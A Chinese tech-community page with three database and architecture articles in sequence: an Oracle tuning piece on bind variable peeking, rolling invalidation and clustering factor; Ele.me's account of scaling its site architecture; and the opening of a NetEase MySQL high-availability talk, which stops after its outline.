
暂无个人介绍
最近有一个OLTP应用使用的Oracle数据库突然出现性能问题,DBA发现有一些delete语句执行时间骤长,消耗大量系统资源,导致应用响应时间变长积Q。 辅助信息: 应用已经很久未做过更新上线了。 据开发人员反馈,从之前的应用日志看,未出现处理时间逐步变长的现象。 这是一套RAC+DG的环境,11g的版本。 这次突然出现大量执行时间超长的SQL语句,是一条删除语句,delete from table where key1=:1 and key2=:2 and ...(省略此案例不会用到的其他条件),应用正常的处理逻辑中都会使用这条语句,因此并发较高,使用了绑定变量,key1和key2字段不是主键,但有索引,存在直方图。 接下来会通过理论和实验相结合的方式,了解这个问题所需要涉及的一些Oracle基础知识,最后再来分析这个案例。 本文目录: 一、基础知识介绍 可能造成SQL执行计划发生改变的一个示例 绑定变量窥探 查看绑定变量值的几种方法 rolling invalidation 聚簇因子(Clustering Factor) 查询执行计划的几种方法 AWR ASH SQL AWR 直方图 SQL Profile 二、案例分析 一、基础知识介绍 1、可能造成SQL执行计划发生改变的一个示例 什么情况下可能造成SQL执行计划发生改变?有很多种情况,这里抛砖引玉举一个例子。 实验: 创建测试表t1,其中name字段设置索引,取值为10000个A和1个B。 我们看下用查询条件name=’A’的SQL使用了什么执行计划。 再看下使用查询条件name=’B’的SQL用了什么执行计划。 显而易见,因为取值为A的记录占据了10000/10001接近100%的比重,即这查询条件返回了几乎表的所有数据,使用全表扫描的成本一般会小于使用索引的成本,由于TABLE ACCESS FULL会扫描表高水位线以下的数据块,且为多块读,即一次IO会读取多个数据块,具体数据块数量取决于参数db_file_multiblock_read_count,而INDEX RANGE SCAN则是单块读,同时若select字段不是索引字段的话,还需要回表,累积起来,IO次数就会可能很大,因此相比起来,全表扫描的IO可能会远小于索引扫描。 取值为B的记录占据了1/10001很小的比重,因此使用索引扫描,直接访问B*Tree二叉树,定位到这一条数据的rowid再回表查询所有select字段的成本要远小于扫描整张表数据的成本。 为了证明,可以查看这两条SQL对应的10053事件,如下是name=’A’的trace,可以看出全表扫描的成本值是49.63,索引扫描的成本值是351.26,全表扫描的成本更低一些。 如下是name=’B’的trace,可以看出全表扫描的成本值是49.40,索引扫描的成本值是2.00,索引扫描的成本值更低一些。 这个场景可以看出,Oracle的CBO模式会根据字段的取值比重调整对应的执行计划,无论如何,都会选择成本值最低的一个执行计划,这也是CBO优于以前RBO的地方,这里仅用于实验,因为一般OLTP的应用会使用绑定变量的写法,不会像上面这种使用常量值的写法,11g之前,可能带来的一些负面影响就是绑定变量窥探的作用,即对于使用绑定变量窥探的SQL语句,Oracle会根据第一次执行使用的绑定变量值来用于以后的执行,即第一次做硬解析的时候,窥探了变量值,之后的软解析,不再窥视,换句话说,如果上面实验的SQL语句使用了绑定变量,第一次执行时name=’A’,则接下来即使使用name=’B’的SQL语句仍会使用全表扫描,不会选择索引扫描,vice versa。相关的实验dbsnake的书中会有很详细的说明,可以参考。11g之后,有了ACS自适应游标的新特性,会根据绑定变量值的情况可以重新生成执行计划,因此这种问题得到了缓解,当然这些都是有代价的,缓解了绑定变量窥探的副作用,相应地可能会导致有很多子游标,具体的算法可以参考dbsanke的书,这儿我就不班门弄斧了。11g默认绑定变量窥探是开启的,由以下隐藏参数控制。 综上所述,针对这场景,如果值的选择性显著影响执行计划,则绑定变量的使用并不可靠,此时选择字面值的方式可能会更合适一些,如果值的选择性几乎相同,执行计划不会显著改变,此时使用绑定变量是最优的选择,当然前提是OLTP系统。 对于多次执行SQL语句,执行计划发生变化的情况可能还有很多,例如11g的新特性Cardinality Feedback带来的一些bug,包含直方图的字段作为查询条件但统计信息不准等。 2、绑定变量窥探 首先什么是绑定变量? 一条SQL语句在解析阶段,会根据SQL文本对应的哈希值在库缓存中查找是否有匹配的Parent Cursor,进而找出是否有可重用的解析树和执行计划,若没有则要重新生成一遍,OLTP系统中,高并发的SQL若每次均需要重复执行这些操作,即所谓的硬解析,消耗会比较大,进而影响系统性能,所以就需要使用绑定变量。绑定变量其实就是一些占位符,用于替换SQL文本中具体输入值,例如以下两条SQL: select * from t1 where id = 1; select * from t1 where id = 2; 在Oracle看来,是两条完全不同的SQL,即对应SQL文本哈希值不同,因为where条件中一个id是1,一个是2,1和2的ASCII是不同的,可实际上这两条SQL除了查询条件不同,其他的文本字符均一致,尽管如此,这种情况下,Oracle还是会重复执行解析的操作,生成各自的游标。 两条记录,说明Oracle认为这两条SQL是不同。 如果使用绑定变量: select * from t1 where id = :1; 每次将不同的参数值带入:1中,语义和上面两条相同,但对应哈希值可是1个,换句话说,解析树和执行计划是可以重用的。 使用绑定变量除了以上可以避免硬解析的好处之外,还有其自身的缺陷,就是这种纯绑定变量的使用适合于绑定变量列值比较均匀分布的情况,如果绑定变量列值有一些非均匀分布的特殊值,就可能会造成非高效的执行计划被选择。 如下是测试表: 其中name列是非唯一索引,NAME是A的有100000条记录,NAME是B的有1条记录,值分布是不均匀的,上一篇文章中我们使用如下两条SQL做实验。 select * from t1 where name = 'A'; select * from t1 where name = 'B'; 其中第一条使用的是全表扫描,第二条使用了索引范围扫描,过程和原因上篇文章中有叙述,此处就不再赘述。 如上SQL使用的是字面值或常量值作为检索条件,接下来我们使用绑定变量的方式来执行SQL,为了更好地说明,此处我们先关闭绑定变量窥探(默认情况下,是开启的状态),他是什么我们稍后再说。 首先A为条件。 显示使用了全表扫描。 再以B为条件。 发现仍旧是全表扫描,我们之前知道B值记录只有一条,应该使用索引范围扫描,而且这两个SQL执行计划中Rows、Bytes和Cost值完全一致。之所以是这样,是因为这儿用的未开启绑定变量窥探情况下的绑定变量,Oracle不知道绑定变量值是什么,只能采用常规的计算Cardinality方式,参考dbsnake的书,CBO用来估算Cardinality的公式如下: Computed Cardinality = Original Cardinality * Selectivity Selectivity = 1 / NUM_DISTINCT 收集统计信息后,计算如下: Computed Cardinality = 100001 * 1 / 2 约等于50001。因此无论是A还是B值,CBO认为结果集都是50001,占据一半的表记录总量,自然会选择全表扫描,而不是索引扫描。 下面我们说说绑定变量窥探,是9i引入的一个新特性,其作用就是会查看SQL谓词的值,以便生成最佳的执行计划,其受隐藏参数控制,默认为开启。 我们在绑定变量窥探开启的情况下,再次执行上述两条SQL(区别仅是不用explain plan,使用dbms_xplan.display_cursor可以得到更详细的信息),首先A为条件的SQL。 这次使用了全表扫描,窥探了绑定变量值是A。 再使用以B为条件的SQL: 仍旧采用了全表扫描,绑定变量窥探值是A,因为只有第一次硬解析的时候才会窥探绑定变量值,接下来执行都会使用第一次窥探的绑定变量值。B的记录数只有1条,1/100001的选择率,显然索引范围扫描更合适。 为了让SQL重新窥探绑定变量值,我们刷新共享池: alter system flush shared_pool; 此时清空了所有之前保存在共享池中的信息,包括执行计划,因此再次执行就会是硬解析,这次我们先使用B为条件。 可见窥探了绑定变量值是B,因为可以知道这个绑定变量:x的具体值,根据其值分布特点,选择了索引范围扫描。 再用A为查询条件: 此时仍旧窥探绑定变量值为B,因此还会选择索引范围扫描,即使A值应该选择全表扫描更高效。 总结: 绑定变量窥探会于第一次硬解析的时候,“窥探“绑定变量的值,进而根据该值的信息,辅助选择更加准确的执行计划,就像上述示例中第一次执行A为条件的SQL,知道A值占比重接近全表数据量,因此选择了全表扫描。但若绑定变量列分布不均匀,则绑定变量窥探的副作用会很明显,第二次以后的每次执行,无论绑定变量列值是什么,都会仅使用第一次硬解析窥探的参数值,这就有可能选择错误的执行计划,就像上面这个实验中说明的,第二次使用B为条件的SQL,除非再次硬解析,否则这种情况不会改变。 简而言之,数据分布不均匀的列使用绑定变量,尤其在11g之前,受绑定变量窥探的影响,可能会造成一些特殊值作为检索条件选择错误的执行计划。11g的时候则推出了ACS(自适应游标),缓解了这个问题。 以上主要介绍了11g之前使用绑定变量和非绑定变量在解析效率方面的区别,以及绑定变量在绑定变量窥探开启的情况下副作用的效果。虽然OLTP系统,建议高并发的SQL使用绑定变量,避免硬解析,可不是使用绑定变量就一定都好,尤其是11g之前,要充分了解绑定变量窥探副作用的原因,根据绑定变量列值真实分布情况,才能综合判断绑定变量的使用正确。 3、查看绑定变量值的几种方法 上一章我们了解了,绑定变量实际是一些占位符,可以让仅查询条件不同的SQL语句可以重用解析树和执行计划,避免硬解析。绑定变量窥探则是第一次执行SQL硬解析时,会窥探使用的绑定变量值,根据该值的分布特征,选择更合适的执行计划,副作用就是如果绑定变量列值分布不均匀,由于只有第一次硬解析才会窥探,所以可能接下来的SQL执行会选择错误的执行计划。 有时可能我们需要查看某条SQL使用了什么绑定变量值,导致执行计划未用我们认为最佳的一种。以下就介绍一些常用的查看绑定变量值的方法。 方法一:10046 使用level=4的10046事件,查看生成的trace文件。 可以看出绑定变量值是’Z’。 方法二:v$sql_bind_capture 首先找出SQL对应的sql_id: 从v$sql_bind_capture可以看出两个绑定变量占位符以及对应的值。 这里有一点值得注意的就是,DATATYPE_STRING列的描述是“绑定变量数据类型的文本表示”,开始我认为就是绑定变量字段的数据类型,但实际看来不是,DATATYPE_STRING列只是来告诉你绑定变量列是字符型,还是数值型。 我们此时换一下绑定变量值,发现v$sql_bind_capture信息未变,dbsnake的书中曾说过当SQL执行硬解析时绑定变量值被捕获,并可从视图v$sql_bind_capture中查询。 对于执行软解析/软软解析的SQL,默认情况下间隔15分钟才能被捕获,为了避免频繁捕获绑定变量值带来的系统性能开销,而且从常理上认为,既然使用了绑定变量,最佳方式就是值分布均匀,只需要SQL执行第一次硬解析时窥探一下,后续执行的SQL执行计划应该比较稳定,因此只要能比较实时地查看第一次绑定变量值即可。间隔15分钟受隐藏参数_cursor_bind_capture_interval控制,默认值是900s,15分钟。 我们尝试将捕获绑定变量的间隔时间调短,该参数不支持session级别修改。 执行alter system级别操作。 等大约一分钟,此时可以从v$sql_bind_capture查询刚使用的绑定变量值。 方法三:AWR信息 (1) DBA_HIST_SQLBIND视图包含了v$sql_bind_capture的快照。 因此对应的SQL语句,和v$sql_bind_capture很像。 select name,datatype_string,value_string,datatype from DBA_HIST_SQLBIND where sql_id='...' (2) 另一个视图,DBA_HIST_SQLSTAT记录了SQL统计信息的历史信息,他是基于一些标准,捕获来自于V$SQL的统计信息。可以使用如下SQL: select snap_id, dbms_sqltune.extract_bind(bind_data,1).value_string bind1, dbms_sqltune.extract_bind(bind_data,2).value_string bind2, dbms_sqltune.extract_bind(bind_data,3).value_string bind3 from dba_hist_sqlstat where sql_id = '...' order by snap_id; 其中dbms_sqltune.extract_bind(bind_data,1).value_string取决于SQL中绑定变量的数量。 第一次执行这两条SQL时,并未有任何结果返回,我猜测可能是这条SQL不符合AWR采集的标准。从MOS中查到这篇文章:《How to Control the Set of Top SQLs Captured During AWR Snapshot Generation (文档 ID 554831.1)》,用其中的方法修改下AWR采集topnsql参数。 默认值是 含义是 此时重新执行SQL,默认AWR会一小时采集一次,此时可以手工采集AWR快照。 此时再次查询DBA_HIST_SQLBIND 再次查询DBA_HIST_SQLSTAT 绑定变量值可以使用很多方法获取,这里只是列举了三种最常见的方法,我从网上看到有朋友还有用wrh$_sqlstat、v$sql等视图查询的例子,没有深究,我觉得碰见问题时,可以快速使用一些常用的方法解决问题就可以了,当然时间充裕的话,建议还是多从原理层了解一些,做到触类旁通则最好。 4、rolling invalidation 有一条SQL,使用了绑定变量,查看V$SQLAREA发现version_count是2 查看V$SQL,发现有两条记录,分别对应了0和1两个child cursor: 再查看这两个child cursor对应的执行计划: child cursor:0 child cursor:1 发现除了成本代价略有不同,其他访问路径完全一致。应用保证使用的相同用户执行这条SQL语句,绑定变量窥探关闭。问题就来了,为何同一条SQL有两个child cursor,且执行计划一致? 再抛一下,通过V$SQL_SHARED_CURSOR视图可以查看游标失效的原因,对比这两个cursor,不同之一就是这个ROLL_INVALID_MISMATCH字段的值,0号cursor值为N,1号cursor值为Y。 另外,REASON字段,0号cursor显示了内容,1号cursor该字段值为空。 Rolling Invalidate Window Exceeded(3) 这个问题通过Rolling Cursor Invalidations with DBMS_STATS.AUTO_INVALIDATE (文档 ID 557661.1)这篇文章能够很好地解释。 大体意思是在10g之前,使用dbms_stats采集对象统计信息,除非no_invalidate设为TRUE,否则所有缓存在Library Cache中的游标都会失效,下次执行时需要做硬解析。隐患就是对于一个OLTP系统,会产生一次硬解析风暴,消耗大量的CPU、库缓存以及共享池latch的争用,进而影响应用系统的响应时间。如果设置no_invalidate为FALSE,则现有存储的游标不会使用更新的对象统计信息,仍使用旧有执行计划,直到下次硬解析,要么因为时间太久,导致cursor被刷出,要么手工执行flush刷新了共享池,这两种情况下会重新执行硬解析,根据更新的对象统计信息,生成更新的执行计划。这么做其实还是有可能出现硬解析风暴,特别是OLTP系统,高并发时候,有SQL语句频繁访问。 使用dbms_stats.gather_XXX_stats的时候,有个参数no_invalidate: 默认是AUTO_INVALIDATE,这表示是由Oracle来决定什么时候让依赖的游标失效。 10g之后,如果采集对象统计信息使用的no_invalidate参数是auto_invalidate,则Oracle会采用如下操作,来缓解可能的硬解析风暴。 执行dbms_stats,所有依赖于这个已分析对象的缓存cursor游标会被标记为rolling invalidation,并且记录此时刻是T0。 下次某个session需要解析这个标记为rolling invalidation的cursor游标时,会设置一个时间戳,其取值为_optimizer_invalidation_period定义的最大值范围内的一个随机数。之所以是随机数,就是为了分散这些 invalidation的游标,防止出现硬解析风暴。参数_optimizer_invalidation_period默认值是18000秒,5小时。记录这次解析时间为T1,时间戳值为Tmax。但此时,仍是重用了已有游标,不会做硬解析,不会使用更新的统计信息来生成一个新的执行计划。 接下来这个游标(标记了rolling invalidation和时间戳)的每次使用时,都会判断当前时刻T2是否超过了时间戳Tmax。如果未超过,则仍使用已存在的cursor。如果Tmax已经超过了,则会让此游标失效,创建一个新的版本(一个新的child cursor子游标),使用更新的执行计划,并且新的子游标会标记V$SQL_SHARED_CURSOR中ROLL_INVALID_MISMATCH的值。 这些和我上面碰见的情况基本一致。 MOS是附带了一个实验,可以根据实验来体会下这种情况。 1.为了容易观察,设置_optimizer_invalidation_period为1分钟。 2.创建测试表,并采集统计信息。 3.执行一次目标SQL,并查看V$SQL_SHARED_CURSOR信息。 此时查看这条SQL的解析和执行次数都是1。 4.再执行一次目标SQL,select count(*) from X;,查看这条SQL的解析和执行次数是2。 有人曾说过,11g中未必会按照_optimizer_invalidation_period参数定义的时间产生新的子游标,我上面用的环境是11g,确实如此,等了2分钟,执行目标SQL,仍只有一个子游标。这样的好处有人也说了,就是更加的随机,因为如果严格按照参数设置的时间失效,则有可能频繁使用的游标会在超时后某一时刻集中做硬解析,还是会有资源的影响,只是时间推迟了,因此如果是在超时值基础上又有随机分布,则可能会将硬解析的影响降到最低。 又等了一段时间,再查询V$SQL。 确实产生了两个子游标,这里需要注意FIRST_LOAD_TIME的时间是一样的,因为他是parent父游标的创建时间,显然这两个子游标肯定是对应同一个父游标,不同的就是LAST_LOAD_TIME,这是子游标的使用时间。 再看看V$SQL_SHARED_CURSOR。 两个子游标信息,只有一个R项值有差别,R是ROLL_INVALID_MISMATCH,0号子游标是N,1号子游标是Y,看看官方文档对这个字段的说明。 表示的就是标记为rolling invalidation的游标,已经是超过了时间窗口,此时0号子游标已经过期,1号子游标使用最新的统计信息,来生成最新的执行计划。 这就解释了为何同一条SQL,执行计划一致,但却有两个子游标的情况。 MOS中还描述了一些游标使用的场景: 如果一个游标被标记为rolling invalidation,但是再不会做解析,则这个游标不会失效,最终还是可能根据LRU被刷出共享池。 如果一个游标被标记为rolling invalidation,后面只会解析一次,那么这个游标依然不会失效(仅仅使用时间戳标记),最终还是可能根据LRU被刷出共享池。 频繁使用的游标,在超过时间戳Tmax值后,下次解析时就会被置为失效。 很明显,上面的这些方法是有效的,因为失效标记仅仅适用于这些频繁重用的游标,对于其他场景的游标可以忽略,未有影响。 5、聚簇因子(Clustering Factor) 聚簇因子,Clustering Factor,听着名字就很高大上,很学术。题外话,记得几年前的一次内部分享,dbsnake介绍一案例的时候,曾问过在场同事其中涉及的一个知识点是什么,如果知道就意味着你对索引的了解很深入,可惜当时没人反应,作为小白的我自然也不知道,当时的这个知识点就是聚簇因子,下来我仔细了解了下,确实这些东东,如果经常用到自然脱口而出,可惜这种机会只能靠自己。 我们先看下官方对CF介绍。 索引聚簇因子衡量的是索引字段存储顺序和表中数据存储顺序的符合程度。两者存储顺序越接近,聚簇因子值就越小。 聚簇因子的用处在于可以粗略估算根据索引回表需要的IO数量。 如果CF值高,Oracle执行一个相对较大的索引范围扫描时就会需要相对多的IO数量。这些索引项指向的是随机的表块,数据库为了根据索引检索表中数据,不得不一次又一次地读取相同的数据块。 如果CF值低,Oracle执行一个相对较大的索引范围扫描时就会需要相对少的IO数量。这些索引键值可能指向相同的数据块,数据库不需要重复读取同一个数据块。 文中还举了一个例子,如下表EMPLOYEES中数据是按照last name的字母顺序存储的。 如果last name是索引字段,可以看出索引的存储顺序(blockXrowY可以抽象地看作rowid),即连续的几个索引键值指向的是同一个数据块。 如果此时id是索引字段,可以看出连续的几个索引键值对应的可能是不同的数据块,而且有可能几个顺序间隔不多的键值指向的是同一个数据块,如果这是一个庞大的索引和表,buffer cache再小一些,使用id字段作为检索条件的SQL并发再高一些,很可能之前刚从数据文件中加载至buffer cache,马上就会根据LRU算法age out,但一会又再次加载至buffer cache,反反复复,各种latch等的资源争用就会累积起来,进而可能对系统性能造成影响。 DBA/ALL/USER_INDEXES视图有一列CLUSTERING_FACTOR,表明该索引的聚簇因子值。 摘自dbsnake书中对于CF值计算算法的叙述: CF初始值是1。 Oracle首先定为至目标索引最左边的叶子块。 从最左边的叶子块的第一个索引键值所在的索引行开始顺序扫描,Oracle比较当前索引行的roid和他之前相邻的索引行的rowid,若这两rowid并不是指向同一个表块,则将聚簇因子值递增1,如果指向同一个rowid,则不改变当前聚簇因子值。比对rowid的时候并不需要回表访问相应的表块。(注:原因就是根据rowid的值是可以计算出block信息) 直到顺序扫描完目标索引所有叶子块的所有索引行。 扫描操作完成后,聚簇因子当前值就是会被存储在数据字典中,就是上面视图中CLUSTERING FACTOR列。 说了这么多,CF有什么实际意义?个人理解,CBO模式的优化器会综合考虑各种因素来判断一条SQL不同执行计划对应的成本值,选择成本值最低的一个执行计划,CF实际影响的是根据索引回表需要的IO数量,自然也在其考虑的范围之内,因此CF值的高低有时会影响CBO对不同执行计划的选择。 实验: 1.创建测试表 测试表有两列NUMBER类型的字段,其中id1是按照顺序存储,id2是无序存储,id1和id2各有一个非唯一索引。 2.采集统计信息 DBA/ALL/USER_INDEXES中有一注释: “Column names followed by an asterisk are populated only if you collect statistics on the index using the DBMS_STATS package.“ 即使用DBMS_STATS包收集索引统计信息的时候,CLUSTERING_FACTOR才会有值。 从dba_indexes中可以看出id1对应的索引CF只有204,id2对应的索引CF有99481,表的数据量是100000,就是说这个id2中所有叶子块的索引行排列顺序几乎和表中数据存储的顺序完全不一致。 3.CF对执行计划选择的影响 使用id1 between 1 and 1000作为检索条件,可以看出使用了id1索引范围扫描。 使用id2 between 1 and 1000作为检索条件,这次却选择了全表扫描,没有选择id2索引扫描。 如果我们强制使用id2索引,无论从Cost,还是consistent gets,都要高于全表扫描。 究其原因,还可以参考dbsnake书中对于索引范围扫描的算法。 IRS Cost = I/O Cost + CPU Cost I/O Cost = Index Access Cost + Table Access I/O Cost Index Access Cost = BLEVEL + CEIL(#LEAF_BLOCKS * IX_SEL) Table Access I/O Cost = CEIL(CLUSTERING_FACTOR * IX_SEL_WITH_FILTERS) 我们可以检索视图发现,id1和id2的索引LEAF_BLOCKS等列值均相等,只有CLUSTERING_FACTOR不同,进而可以粗略认为索引范围扫描的成本和聚簇因子的大小成正比。 进而我们可以这么尝试,人为将id2的索引聚簇因子值改为200。 可以看出此时选择了id2的索引范围扫描。 但相应consistent gets值依旧很大,我猜原因就是计算执行计划成本值,CBO会根据相关统计信息值来计算,我们人为设置了索引的聚簇因子为一个很小的值,计算出来的成本值小于全表扫描,因此选择了使用索引的执行计划,但实际回表等操作需要消耗的资源其实并没有少。 如果要消除聚簇因子的影响,只能对表中数据按照目标索引键值的顺序重新存储,例如,create table t1_cf_0 as select * from t1_cf order by id2; 但这么做带来的问题就是,可能id2的聚簇因子下降了,相对id1的聚簇因子上升了,有些顾此失彼的意思。因此根据实际业务需求,选择正确的表数据组织形式,或者只能通过其他优化方式,来减小聚簇因子的影响。 之前曾发过一个如何让CF值小的讨论帖,有兴趣的朋友可以参考, http://www.itpub.net/thread-1910003-1-1.html 总结: 聚簇因子表示索引键值的排列顺序和表中数据排列顺序的相似程度。 可以粗略认为索引范围扫描的成本,和聚簇因子的大小成正比,从索引范围扫描的计算方法可以推出这个结论。 是否需要重新组织表中数据存储顺序,以降低某一个索引的聚簇因子值,需要结合实际需求来判断,因为若表中存在多个索引,很可能造成顾此失彼的情况。原文发布时间为:2017-05-12 本文来自云栖社区合作伙伴DBAplus
网站在刚开始的时候大概只是一个想法:一个产业的模型,快速地将它产生出来。“快”是第一位的,不需要花太多精力在架构设计上。在网站进入扩张期才需要对架构投入更多的精力来承载网站在爆发时的流量。 饿了么成立已经8年,现在日订单量突破900万,我们也有了较为完善的网站架构。 一、网站基础架构 初期,我们使用了能够更容易拓展SOA的框架。我们用SOA的框架解决两件事情: 1. 分工协作 网站初期,程序员可能就1~5个,那时大家忙同一个事情就可以了。彼此之间的工作都互相了解,往往是通过“吼”的方式就把问题解决了。 但随着人员的增加,这种方式显然是不行的,不可能一个人更新了代码再把其他人的所有代码重新上线一遍吧?于是就要考虑分工协作的问题。 2. 快速扩展 以前订单量可能从1k到1w,虽然增长了10倍,但是总量并不是很高,对于一个网站的压力来说,也不是那么大。真正到了订单量从10w到100w,从100w到 200w的时候,可能数字上只是扩大了10倍,但对整个网站的架构上来说却是一个巨大的挑战。 我们的背景就是2014年的100万突破到现在的900万,技术团队由刚开始的30多个人,到现在已经是超过900人的团队。这时候分工协作是个巨大的挑战。服务的分分合合,团队的分分合合,这都需要一套框架体系来支撑,这也是SOA框架的一个作用。 看一下我们的现状,中间是我们整个架构的体系,右侧是和服务化相关的一些基础,包括基础的组件或者服务。 先说语言,我们原来的网站是在PHP上的,后来慢慢转型。 创始人都是大学生创业,那么理所当然Python是一个很好的首选。到现在 Python也是很好的选择,但是我们为什么要扩展到Java和Go呢? Python很多人都会写,但是真正能把它做得很好的人并不多。随着业务的发展,需要更多的开发人员。考虑到Java成熟的生态环境,以及新兴的Go生态,我们最终选择了Python、Java、Go多语言共存的一个生态。 WebAPI主要做一些HTTPS卸载、限流,还有安全校验等一些通用的和业务逻辑无关的操作。 Service Orchestrator是服务编排层,通过配置的方式实现内外网的协议转换、服务的聚合裁剪。 架构图右边是一些围绕这些服务化框架的辅助系统,比如说用于定期执行一个任务的Job系统。我们有将近快1000个服务,这些系统怎么监控?所以必须有一套监控系统。刚开始只有30多个人时,我们更擅长的是跑到机器上去搜一下Log,但到了900多人时,你不可能都到机器上去搜一遍Log,需要有个集中式的日志系统。其它的系统这里就不一一赘述了。 罗马不是一天建成的,基础架构是个演进的过程。我们精力有限,那先做什么呢? 二、服务拆分 当网站变大了,原来的架构跟不上发展的节奏了。我们要做的第一件事情就是: 把大Repo拆成一个小Repo,把大服务拆成小服务,把我们的集中基础服务,拆分到不同的物理机器上去。 光是服务拆分用了一年多的时间才做完,这是一个比较漫长的过程。 这个过程中,首先要对API做一个很好的定义。因为一旦你的API上线之后,再做一些修改的成本是相当大的。会有很多人依赖于你的API,很多时候你也并不知道有谁依赖于你的API,这是一个很大的问题。 然后再把一些基础服务抽象出来。很多原来的服务其实是耦合在原来的业务代码里面的。比如说支付业务,业务很单一时,紧耦合的代码没有关系,但是扩展出的越来越多的业务都需要支付服务时,你每一个业务(比如说支付的功能)都要去做一个吗?所以我们要把这些基础服务抽离出来,比如支付服务、短信服务、推送服务等。 拆服务看似很简单、没什么价值,但这恰恰是我们刚开始就要做的事情。其实在这个时期,前面所有的那些架构都可以往后拖,因为不做架构调整其实不会死人,但是拆服务你不做的话,真的会死人。 服务拆分必定是一个漫长的过程,可这实际是一个很痛苦的过程,也需要很多配套系统的系统工程。 三、发布系统 发布是最大的不稳定因素。很多公司对发布的时间窗口有严格的限定,比如说: 每周只有两天可以发布; 周末是绝对不可以发布的; 业务的高峰期绝对不允许发布; 等等…… 我们发现,发布的最大问题在于发布上去之后没有简单可执行的回退操作。回退操作到底是谁来执行,是发布人员就可以执行,还是需要专人来执行?如果是发布人员的话,发布人员并非24小时在线工作,出了问题找不到人怎么办?如果是有专人来执行回退,而又没有简单、统一的回退操作,那这个人需要熟悉发布人员的代码,这基本上不可行。 所以我们就需要有发布系统,发布系统定义了统一的回退操作,所有服务必须遵循发布系统的定义回退操作。 在饿了么对接发布系统是对所有人的强制要求,所有的系统必须全部接入发布系统。发布系统的框架很重要,这个东西其实对于公司是很重要的一件事情,需要放到第一优先级的队列里面去考虑。 四、服务框架 紧接着就是饿了么的服务框架,把一个大的Repo拆分成一个小的Repo,把一个大的服务拆成一个小的服务,让我们的服务尽量独立出去,这需要一套分布式服务框架来支撑。 分布式服务框架包含的服务注册、发现、负载均衡、路由、流控、熔断、降级等功能,这里就不一一展开了。前面已经提及,饿了么是多语言的生态,有 Python的,也有Java的,我们的服务化框架对应也是多语言的。这对我们后来一些中间件的选型是有影响的,比如说DAL层。 五、DAL数据访问层 当业务量越来越大的时候,数据库会变成一个瓶颈。 前期可以通过提升硬件的方式来提升数据库的性能。比如: 升级到一个有更多CPU的机器; 把硬盘改成 SSD 的或者更高级一点的。 但硬件提升终归是有一个容量限制的。而且很多做业务的小伙伴,写代码的时候都直接操作数据库,发生过很多次服务一上线数据库就被打爆的情形。数据库被打爆掉了之后,除非等待数据库恢复,没有任何其它机会可以恢复业务。 如果数据库里面数据是正常的,业务其实都可以补偿出来。所以我们做DAL服务层的时候,第一件事情是限流,其它的东西可以放一放。然后做连接复用,我们Python框架用的多进程单线程加协程的模型。 多进程之间其实是不可以共享一个连接的。比如:一台机器上部署了10个 Python进程,每个进程10个数据库连接。再扩展到10台机器上,就有1000个数据库连接。对数据库来说,连接是一个很昂贵的东西,我们DAL层要做一个连接复用。 这个连接复用讲的不是服务本身的连接复用,而是说DAL层上的连接复用,就是服务有1000个连接到DAL层,经过连接复用后对数据库可能只是保持着十几个连接。一旦发现某个数据库请求是一个事务的话,那么DAL就帮你保留这个连接的对应关系。当这个事务结束之后,就把数据库的连接,放回到共用池里面去,供其他人使用。 然后做冒烟和熔断。数据库也可以熔断的。当数据库发生冒烟时,我们会杀掉一些数据库的请求,保证数据库不至于崩溃。 六、服务治理 服务框架之后,涉及服务治理的问题。服务治理其实是一个很大的概念。首先是埋点,你要埋很多的监控点。 比如有一个请求,请求成功了或者失败了,请求的响应时间是多少,把所有的监控指标放到监控系统上面去。我们有一个很大的监控屏幕,上面有很多的监控指标。有专门小组72小时去盯着这个屏幕,如果有任何曲线波动了,就找人去解决。另外是报警系统,一个监控屏幕展示的东西总是有限的,只能放那些很重要的关键指标。这个时候就需要有报警系统。 罗马不是一天建成的,基础架构更是一个演进的过程。我们的资源和时间总是有限的,作为架构师和 CTO 来说,如何在这种有限的资源下,产出更重要的东西? 我们做了很多系统,觉得自己做得很不错了,但实则不是,我感觉我们又回到了石器时代,因为问题越来越多,需求也越来越多,总感觉你的系统里还缺点什么东西,想做的功能也一大堆。 比如对于流控系统,现在我们还是需要用户去配一个并发数,那么这个并发数,是不是根本不需要用户去配?是不是可以基于我们服务本身的一个状态自动去控制并发数? 然后是升级方式,SDK升级是个很痛苦的事情。比如说我们服务框架2.0发布的时候是去年12月份,到现在还有人用的是1.0。是不是可以做到SDK的无损感升级,我们自己来控制升级的时间和节奏。 还有,我们现在的监控只支持同一个服务上的汇聚,是不分集群、不分机器的,那是不是以后的指标可以分集群、分机器?举一个最简单的例子,比如一个服务上有10台机器,那么可能只是某一个机器上出了问题,但它所有的指标都会平均分摊到其它的9台机器上去。你只是看到了整个服务延时增加了,但有可能只是某一台机器拖慢了整个服务集群。但我们现在还做不到更多维度的监控。 还有智能化的报警,这个报警,就是要快、全、准,我们现在做到更快了,做到更全了,怎么才能做到更准?每天的报警量高峰时间一分钟一千多个报警发出去。所有的一千报警都是有用的吗?报警多了之后,就相当于没有报警。大家都疲劳了,就不去看了。我怎么能够把这个报警更准确地区分出来?还有更智能化的链路分析?以后是不是我们的监控不要放监控指标,而是放链路分析,这样就能够很清晰地知道,这个问题对应的是哪一个结点上出了问题。 原文发布时间为:2017-05-09 本文来自云栖社区合作伙伴DBAplus
摘要: 讲师介绍 潘威 网易资深系统运维工程师 现任职于网易,负责网易对象存储服务NOS的运维相关工作; 曾负责过易信、网易视频云、网易博客、LOFTER等产品数据库,拥有丰富的大型数据库架构设计与运维实践经验。 讲师介绍 潘威 网易资深系统运维工程师 现任职于网易,负责网易对象存储服务NOS的运维相关工作; 曾负责过易信、网易视频云、网易博客、LOFTER等产品数据库,拥有丰富的大型数据库架构设计与运维实践经验。 主题简介: 1、常见的MySQL高可用架构 2、分布式数据库高可用实践 3、基于keepalive的MySQL高可用改造 大家好,我是来自杭州研究院的潘威,今天主要给大家分享下MySQL高可用方面的一些具体的经典解决方案,以及我们网易杭州研究院、网易云 在MySQL高可用方面的一些架构和运维上的探索与实践。希望今天的分享能给大家带来收获。 今天分享主要包括三方面内容:一是常见的MySQL高可用架构;二是分布式数据库高可用实践;三是基于keepalive的MySQL高可用改造。第一部分会介绍业界一些经典的MySQL高可用解决方案,第二部分和第三部分分别介绍网易在分布式数据库和单节点MySQL上的高可用运维实践。 一、常见的MySQL高可用架构 